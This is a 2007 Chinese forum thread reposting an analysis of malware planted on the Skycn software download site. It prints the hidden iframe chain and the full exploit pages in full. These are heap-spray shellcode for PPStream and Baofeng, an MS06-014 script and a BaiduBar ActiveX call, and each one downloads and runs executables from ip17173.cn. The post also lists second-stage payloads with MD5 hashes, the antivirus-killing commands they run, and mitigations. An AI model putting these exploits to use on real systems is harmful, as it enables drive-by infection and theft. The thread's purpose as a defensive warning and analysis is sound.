诚毅小家|集美大学生活【集美大学,诚毅学院,水产学院,师范学院,美术学院,财经学院,体育学院,航海学院,集美学村,石鼓路,龙舟池】

 找回密码
 注册

QQ登录

只需一步,快速开始

搜索
热搜: 活动 交友 discuz
查看: 399|回复: 2

天空软件站被挂马的幕后及Monyer的分析

[复制链接]
发表于 2007-10-7 16:16:38 | 显示全部楼层 |阅读模式
    天空软件站是中国最大的软件下载站之一,如今它被挂马了,那么想必已经有几千万人中招了。Monyer并不是危言耸听,下面的分析将证明这不是个笑话。
% b$ N, K9 u, h" n9 f    今天偶尔上天空看我的UDisk时(重要提醒,天空有病毒不要打开,晕了!),发现Maxthon居然弹出程序运行警告,提示我在c盘下有个c.exe文件要运行,不知道其他人遇到这种情况怎么想,反正从我电脑上出现便成了一件恐怖的事情。看了看任务管理器,内存已经增加了几百兆,很显然被溢出了。再看看C盘的根目录,一个c.exe文件正躺在那里(这说明病毒文件还没有运行,如果运行了,估计你就什么都看不到了。)。于是便开始了以下寻马之旅。
/ V$ y/ ^6 ^# V+ s# _. K2 I2 [, V' A+ M. q" T( A
   通过对天空站的分析,被挂马的页面仅存在于软件下载页面。再通过对加进的javascript和iframe的排除,最后落定被插入的恶意代码为:
: ~4 a" Y$ p+ Z: U- R<iframe name=import_frame width=1height=1 src=http://iplog.skycn.com/wherefrom.php?id=32336frameborder=no></iframe>
5 B8 ]* d  C" }它将框架的宽高设为1像素即肉眼不可见。下载whereform.php文件发现里面有另外的代码:& Q; ~, ~4 B6 N2 D- |- u/ Y* M
<iframe src=http://www.ip17173.cn/index.html?419891509 width=100 height=0></iframe>" n' B$ M7 C5 y% Z6 P, Q3 P
又一个框架,直接访问将看到两个计数器,挺有意思1 J9 W9 @# C; }$ B, y3 S

6 `5 v; _3 J3 K( ~9 z* p: w- e  继续下载ip17173.cn这个站点上的index.html文件打开,里面是一堆加密的javascript代码,这是件好事情——小偷偷东西通常都把脸蒙起来。
" b! {1 X5 D/ a: R  b简单看了一下,虽然js被加密得面目全非,但好在解密函数还在,那么一切都变得简单,将document.write换成alert即可。运行一下index.html,弹出第二个alert窗口便是木马的所在了
/ ^+ S: X0 u. ^1 x, ]% j
个iframe框架,看来应该对应9个不同的木马哦。用flashget一齐下载,发现有效的仅是vip1.htm~vip4.htm这四个页面,估计剩下的是预留出来的吧。
3 {: K! K! q7 Q: J. G' Y对这四个页面依次做代码分析便有些冒冷汗了。以下是分析结果
/ c2 n; \. w: D" O/ T0 D
  d% |/ K0 c! B8 o. c  o2 X
http://www.ip17173.cn/vip1.htm     MS-06014     down.exe     c:\1.exe0 b. D5 M. G7 l* @/ x9 s
<script>url2="http://www.ip17173.cn/down.exe";url1="http://www.ip17173.cn/run.js";try{varado=(document.createElement("object"));ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");varxml=ado.CreateObject("Microsoft.XML"+"HTTP","");varas=ado.createobject("Adodb.Stream","");xml.Open("GET",url1,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);path1="..//ntuser.js";as.savetofile(path1,2);as.close();xml.Open("GET",url2,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);path2="C:\\1.exe";as.savetofile(path2,2);as.close();varshell=ado.createobject("Shell.Application","");shell.shellExecute(path1,"","","open",0);}catch(e){};</script><body>查无此页<html>
5 r8 ~+ N1 r9 z7 khttp://www.ip17173.cn/vip2.htm     ppstream    down.exe     c:\c.exe
+ X5 m: M3 A- Q8 Q6 k" i* R<html><body><objectid="pingfan"classid="clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458"></object><script>varshellcode=unescape("%u00E8%u0000%u6A00%uEB03%u7E21%uE2D8%u9873%u8AFE%u8E0E%u0E4E%u55EC%u4C52%u4F4D%u004E%u3600%u2F1A%u6370%u5C3A%u2E63%u7865%u0065%u5F59%u67AF%uA164%u0030%u408B%u8B0C%u1C70%u8BAD%u0868%u8B51%u3C75%u748B%u782E%uF503%u8B56%u2076%uF503%uC933%u4149%u03AD%u33C5%u0FDB%u10BE%uF238%u0874%uCBC1%u030D%u40DA%uF1EB%u1F3B%uE775%u8B5E%u245E%uDD03%u8B66%u4B0C%u5E8B%u031C%u8BDD%u8B04%uC503%u59AB%uBCE2%u0F8B%uF980%u7463%u570A%uD0FF%uAF95%u6AAF%uEB01%u52AC%u5752%u8F8D%u10DB%u0040%uE981%u104E%u0040%u5251%uD0FF%u016A%uFF57%uEC57%u57FF%u90E8%u7468%u7074%u2F3A%u772F%u7777%u692E%u3170%u3137%u3337%u632E%u2F6E%u6F64%u6E77%u652E%u6578");bigblock=unescape("%u9090");headersize= 20;slackspace = headersize+shellcode.length;while ( bigblock.length< slackspace ) bigblock+=bigblock;fillblock = bigblock.substring(0,slackspace);block=bigblock.substring(0, bigblock.length-slackspace);while(block.length+ slackspace < 0x40000) block =block+ block + fillblock;memory =new Array();;;;memory;for (x=0; x<400;x++) memory[x] = block +shellcode;var buffer ='\x0a';while(buffer.length < 500) buffer+='\x0a\x0a\x0a\x0a';pingfan.Logo=buffer;</script></body></html>. k2 F3 W) H# [
http://www.ip17173.cn/vip3.htm     暴风      down.exe     c:\u.exe
: I" z- ]5 h  j: Z$ W, {2 n<html>) R1 h1 d1 `' K0 q; }% c
<object classid="clsid:6BE52E1D-E586-474f-A6E2-1A85A9B4D9FB" id='target'></object>; }( b4 c$ k: k% v2 P
<body>
7 Q4 ^% h0 J# s% y5 d<SCRIPT language="javascript">6 r+ h3 N# T, w( w3 I/ x% n
varshellcode=unescape("%u9090%u9090%uEFE9%u0000%u5A00%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uD88B%u738B%u8B3C%u1E74%u0378%u8BF3%u207E%uFB03%u4E8B%u3314%u56ED%u5157%u3F8B%uFB03%uF28B%u0E6A%uF359%u74A6%u5908%u835F%u04C7%uE245%u59E9%u5E5F%uCD8B%u468B%u0324%uD1C3%u03E1%u33C1%u66C9%u088B%u468B%u031C%uC1C3%u02E1%uC103%u008B%uC303%uFA8B%uF78B%uC683%u8B0E%u6AD0%u5904%u6AE8%u0000%u8300%u0DC6%u5652%u57FF%u5AFC%uD88B%u016A%uE859%u0057%u0000%uC683%u5613%u8046%u803E%uFA75%u3680%u5E80%uEC83%u8B40%uC7DC%u6303%u646D%u4320%u4343%u6643%u03C7%u632F%u4343%u03C6%u4320%u206A%uFF53%uEC57%u04C7%u5C03%u2E61%uC765%u0344%u7804%u0065%u3300%u50C0%u5350%u5056%u57FF%u8BFC%u6ADC%u5300%u57FF%u68F0%u2451%u0040%uFF58%u33D0%uACC0%uC085%uF975%u5251%u5356%uD2FF%u595A%uE2AB%u33EE%uC3C0%u0CE8%uFFFF%u47FF%u7465%u7250%u636F%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574%u446D%u7269%u6365%u6F74%u7972%u0041%u6957%u456E%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4C00%u616F%u4C64%u6269%u6172%u7972%u0041%u7275%u6D6C%u6E6F%u5500%u4C52%u6F44%u6E77%u6F6C%u6461%u6F54%u6946%u656C%u0041%u7468%u7074%u2F3A%u772F%u7777%u692E%u3170%u3137%u3337%u632E%u2F6E%u6F64%u6E77%u652E%u6578");
6 u) |& o. ?9 j+ y1 @& U</script>( F2 e; Y  S+ v1 j4 [; P, o
<SCRIPT language="javascript">
* X% @4 g1 y, D/ k1 |var bigblock = unescape("%u9090%u9090");7 V9 N. X+ V4 i
var headersize = 20;5 R. c4 `8 G7 W" ~* S
var slackspace = headersize+shellcode.length;9 b+ h3 c) b$ K3 L. a! V4 f
while (bigblock.length<slackspace) bigblock+=bigblock;
! Z+ _5 j2 [5 v/ f2 z# w. ^- Xfillblock = bigblock.substring(0, slackspace);3 x" F$ ]6 Q" l" \/ F
block = bigblock.substring(0, bigblock.length-slackspace);
) f' i- V1 P/ E8 ?. Zwhile(block.length+slackspace<0x40000) block = block+block+fillblock;' D9 {" |  u" [7 ]9 I( j8 x
memory = new Array();' c1 h7 E( i& l: V4 A
for (x=0; x<300; x++) memory[x] = block + shellcode;
: @" N" i! k  j% |  hvar buffer = '';
, i9 m) ?* [: x1 bwhile (buffer.length < 4057) buffer+='\x0a\x0a\x0a\x0a';
; q* r: k7 i, F0 qbuffer+='\x0a';2 S+ a- D; D  J) w2 W5 ]
buffer+='\x0a';
% m& U4 T8 H1 \2 Tbuffer+='\x0a';
! C& `# o+ ^; H+ Z, `: X( V+ g2 gbuffer+='\x0a\x0a\x0a\x0a';
! f: g& q1 }5 _8 k2 ybuffer+='\x0a\x0a\x0a\x0a';
8 x) P9 `' n$ h7 v0 ytarget.rawParse(buffer);
! n: z: h4 o% y' ^0 i+ _3 z</script>
# V& G8 c! q( O5 v7 D+ i0 F</body>  _# c" K9 s- j7 R( X1 c+ A8 e
</html>
6 e6 n# I1 X0 @2 j$ G: u& E! S
http://www.ip17173.cn/vip4.htm     BaiDuBar      calc.cab       down.exe : l8 {2 o/ h1 S2 q: Q* I9 O4 x
<script>
1 D3 Q0 D* g) Q. ofunction DowndloadCalcAndRun()
: r" J) Q8 l( K# X! B$ \{
  Z9 j- _0 ]* ?com.DloadDS("
http://www.ip17173.cn/calc.cab", "down.exe", 00);
& n5 v2 `/ k2 P7 l}% X- ]5 B% ^0 C6 Y6 X4 ^% M( O
</script>& s* X5 s, X' M& q9 O2 y0 o& s
</head>4 r: T1 k# ~6 E( S/ U( Z
<OBJECT ID = "com" CLASSID = "CLSID:{A7F05EE4-0426-454F-8013-C41E3596E9E9}">
3 |2 M% F! v5 q7 l- D+ D</OBJECT>
" d- Y  O; F# e* K+ q<script>4 H& A; M2 H! c) O
DowndloadCalcAndRun()
9 M8 @$ |, f7 f( ~- ?</script>' ^# ]+ p' ~6 X( |1 C
<body>欢迎使用<html>

* U( H6 @: E+ q1 o. Y9 E8 ~) i4个溢出漏洞,在前几天还有3个是0day!
7 _9 ?/ ?- {; G5 W* b" m一个是ms-06014漏洞,会将其站点的down.exe文件保存到c:\1.exe并运行
! s1 B, M: u* b, G% h) |+ }3 W0 U一个是ppstream堆栈溢出,将同样文件保存到c:\c.exe并运行% |* d  O* |0 M+ k
一个是暴风影音溢出漏洞,保存到c:\u.exe并运行- J5 i& z+ Q1 a1 ^8 R
一个是baidubar的溢出漏洞,将calc.cab 保存到down.exe并运行3 l0 p. s6 Q7 O4 J1 h9 e8 C/ o
(这些文件运行后会自我删除,然后关闭杀毒软件,并自动下载其他木马或病毒。)3 ^) m5 `' A$ i+ b
其中ppstream直到如今仍没有官方补丁。! |' p. [9 j' D' Y8 [& R
down.exe文件一看名便知是个下载者了,下载下来传到virscan.org不禁又汗然一把
2 Q% }- I* l6 J3 c! y
AVG、巴斯基、江民瑞星金山三大支柱、诺顿、趋势,全部开绿灯。即使熊猫来一个suspiciousfile,也顶多因为其是fsg2.0壳而报个可疑文件,这意味着它是不会主动删除的。麦咖啡虽然给出个pws,但也仅仅是个low的风险等级。所以几乎所有市面上常见的杀毒软件全部“罢工”。
# \# u/ ^7 Z- a) L! d; L' _- Jdown.exe会下载21个文件。1 l+ i+ k- M/ X1 @. e: y. i
http://www.ip17173.cn/down/1.exe - 20.exe、down.exe
2 S& ^4 m0 z$ j0 d分别保存到C:\Program Files\Internet Explorer\1.exe - 20.exe、down.exe 运行& _& ^, j* _7 a
还会执行
) A, r1 d9 |9 d& R, Acmd /c taskkill /im 360safe.exe /f
# A. Q  s. M5 O4 z; u& G0 c, t3 Ecmd /c date 2000-01-018 N! b/ t6 d- {

, i' w2 k5 i# l0 x然后还有一个删除自身的批处理。
1 X5 d: k( a) l8 y  q* ^
/ _7 @4 s! v* u8 s2 |还有其他的比如放到启动项,改名字什么的。
0 D# z4 ~' P, C1 x' h. S
感谢鬼仔提供信息!
* q5 |; I0 x; H: d, }6 l3 X( a
 楼主| 发表于 2007-10-7 16:17:40 | 显示全部楼层
第二次下载的16个病毒文件为(另外值得一提的是antivir小红伞对包括down.exe在内的16个病毒全部通杀,而它是款免费杀毒软件,可以与部分系统杀毒软件兼容):
3 R5 P$ M# z- ~+ r( R  V6 N1.exe tr/dropper.gen
" ~! q" h! c: ?. N/ o% R$ i1 P4 UUPX 0.89.6 - 1.02 / 1.05 - 1.24 -> Markus & Laszlo
3 n) K' A5 d' J5 X" i" Jmd5:D92BF450DA49DB121009F94E1321EDF4
- |4 E) W# t) V! r1 O2.exe tr/dropper.gen
" k6 Z/ }6 _* t1 K9 G, l4 Q( NUPX 0.89.6 - 1.02 / 1.05 - 1.24 -> Markus & Laszlo7 t4 O3 a/ |2 n& I) P* b8 P/ l
md5:E6D8CCC8AD8BBEB18652D432BF4A13BA- ~# S% r. t" H$ ?
3.exe tr/dropper.gen; u% n/ a2 X7 ?" t' g- j
UPX 0.89.6 - 1.02 / 1.05 - 1.24 -> Markus & Laszlo* {) J+ R' A  ^( i8 U
md5:362D6904DE8D8111E1BD20BA5320E7FA- o& H1 l- v( V. p) k
4.exe tr/dropper.gen
/ o6 c" N0 Q9 DUPX 0.89.6 - 1.02 / 1.05 - 1.24 -> Markus & Laszlo
, K: ?8 ~& i+ j4 g# gmd5:23DF9595AA8F10EB8AC850A5ACFAB791- ^2 ~- N# [+ G( Z. c8 M( H: I
6.exe tr/dropper.gen
- y" _& k/ j! G- v3 OUPX 0.89.6 - 1.02 / 1.05 - 1.24 -> Markus & Laszlo9 x% }1 V" b: x2 P% P; E; A
md5:FEACB467E170BAD60ECB2091064022283 A7 y$ X/ r3 k  x3 {8 V
7.exe Win32.PSWTroj.OnLineGames.dz.163840+ ~3 r' v' r. T
nSPack 2.1 - 2.5 -> North Star/Liu Xing Ping [Overlay]. n& ^- X% {% C5 D
md5:7BD941FA726E9CFB30A68F7768080B04" l* H6 C3 H/ M, h  c& j* ^: G8 f
8.exe tr/dropper.gen
( g% Q% `( u; Q; `UPX 0.89.6 - 1.02 / 1.05 - 1.24 -> Markus & Laszlo
" D8 J9 \- b% M- E3 p: V$ e; Imd5:BD618C1C29BC1C7CB69AEA2BA49D7C45
( I+ s- o; g  Y, ]( S9.exe suspicious file
8 s" p, S: `! i4 x' E' K# E7 ?! ~Upack 0.3.9 beta2s -> Dwing
7 r. f6 f& r/ e( Xmd5:6DC4A1336F4B0557EAFE3E3247F3C6FD6 q+ M0 f2 N7 e, G, I
10.exe tr/dropper.gen
6 Z2 C0 A# M+ @& f5 A0 T% j  XMicrosoft Visual C++ v6.0 DLL *+ B# f$ m. L* s5 H0 U; z
md5:50DF0549331035B6159DD7F2BD3947A6& }  O7 [- c+ Q6 {1 L
11.exe tr/dropper.gen6 F/ @! v& \4 l8 u
UPX 0.89.6 - 1.02 / 1.05 - 1.24 -> Markus & Laszlo
7 L$ V" [% j5 W9 W2 g. Vmd5:A33527DAE1C4C541609D4FECFF63A0C9
. A* D" [4 U4 V- B' K9 {13.exe tr/dropper.gen/ x) f: }* y! g; Q! i# w
UPX 0.89.6 - 1.02 / 1.05 - 1.24 -> Markus & Laszlo$ l1 m: m+ u  A1 S' |$ q
md5:39CC71D365556C92EEF065169ED751489 N9 j0 `# q0 g* ~3 U; S+ Z
15.exe suspicious file5 j; h, X( D' T: W. b
Upack 0.3.9 beta2s -> Dwing [Overlay]
1 n& O$ w- F$ L: O0 |: r0 ^md5:1E96067D3C6A25BFF59AD76C03C2A565+ ~3 b$ V4 H7 ^
16.exe suspicious file
: U; I& z* @8 n6 V5 hUpack 0.3.9 beta2s -> Dwing
2 y% n% h: V# C- m1 S( \/ q4 l0 S  [md5:73E0B9D28014C84675BEF3343409EDB25 x. J. k! F, f4 @, e  A) ^+ Q- I
17.exe Win32.PSWTroj.OnLineGames.dz.1638402 Q$ i- g6 G  `" }5 ^
nSPack 2.1 - 2.5 -> North Star/Liu Xing Ping [Overlay]
: A' q  D8 C. d' |md5:477927E9679924CEFCF8BD95DF2BA71D
9 l* V$ G  p% P8 {18.exe Win32.PSWTroj.OnLineGames.dz.163840
; u! o- K2 D% k% ^nSPack 2.1 - 2.5 -> North Star/Liu Xing Ping [Overlay]5 A6 g: [7 S: e8 Y& d. |  Y
md5:A2C87EE4059B2145DCA8CC7CF9692329! I4 y. W0 v0 g1 a
5.exe          cannot down
9 a$ p, S, M2 ?4 A) f; v12.exe         cannot down
- V& U' T8 ^$ F3 e' e- t' Y14.exe         cannot down$ R% ~: L- _& q2 w* W
19.exe         cannot down- S: i) ^! P) L4 v" p1 W
20.exe         cannot down9 o+ ]/ c- U9 h8 J
针对以上四个溢出,Monyer的解决办法如下:* ~1 c. s3 T0 X; [
下载补丁修复ms06014漏洞,将baidubar和暴风升级7 h6 s& O# p* Y- \* d* c2 ]) Z
而pps麻烦些——删除注册表的clasid:{20C2C286-BDE8-441B-B73D-AFA22D914DA5}以及{5EC7C511-CD0F-42E6-830C-1BD9882F3458}直到官方给出办法。: o/ }4 K$ ^' B2 k3 _9 S
至于天空,等官方出公告再上吧,小心湿鞋!这么大的站点被人入侵一次也不容易!
) v! ~3 F3 }  y5 U( r0 }* p最后看一下该马的相关文件,挺壮观吧7 C7 {6 I! C; S, p) t- x
3 u- |1 P- w$ i  [
Monyer!   2007-10-04 02:35
1 `' l0 d6 N# e9 A7 I4 _1.jpg (90.61 KB)7 _: b* i. e4 b# t- V) i& k6 G
2007-10-7 15:40, d" i( w5 X" v9 s

. [' G; t9 C* j8 Q. A2.jpg (6.82 KB)1 H, G- x7 n) S2 a
2007-10-7 15:402 A( a% k) c# w5 M, u
* y. w/ C; k) J9 w: [4 F
3.jpg (268.66 KB)  H. n" g+ P5 d+ h% |
2007-10-7 15:40
* \8 N( _+ E: R* ~0 e$ U( g6 k* A+ l7 E/ Y
4.jpg (39.38 KB)& L; A' P6 x% A  T6 |  Q
2007-10-7 15:40% ^3 h3 `0 k4 t; w$ d
6 N, g- _# u3 R% i# v
5.jpg (294.46 KB)
8 Q5 w1 n! _2 \% O5 {# F2 S% t2007-10-7 15:40
( r/ R0 G$ r3 y) x% J8 A- i& N+ `/ b' t; H9 R' v) @
6.jpg (197.03 KB)
2 r! [. Q( V2 d' ^1 g2007-10-7 15:40
% i( G% m0 H* n5 y# f6 _* J$ M) E1 i7 K  u+ g
7.jpg (47.09 KB)5 G- \+ [/ l* _+ t
2007-10-7 15:40
发表于 2007-10-7 16:21:41 | 显示全部楼层
看了那么多,是中木马的意思吧。早说嘛。。。
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|Archiver|手机版|小黑屋|诚毅小家 ( 小家社区工作室 闽ICP备05007965号 )

GMT+8, 2025-1-31 10:10 , Processed in 0.048629 second(s), 19 queries .

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表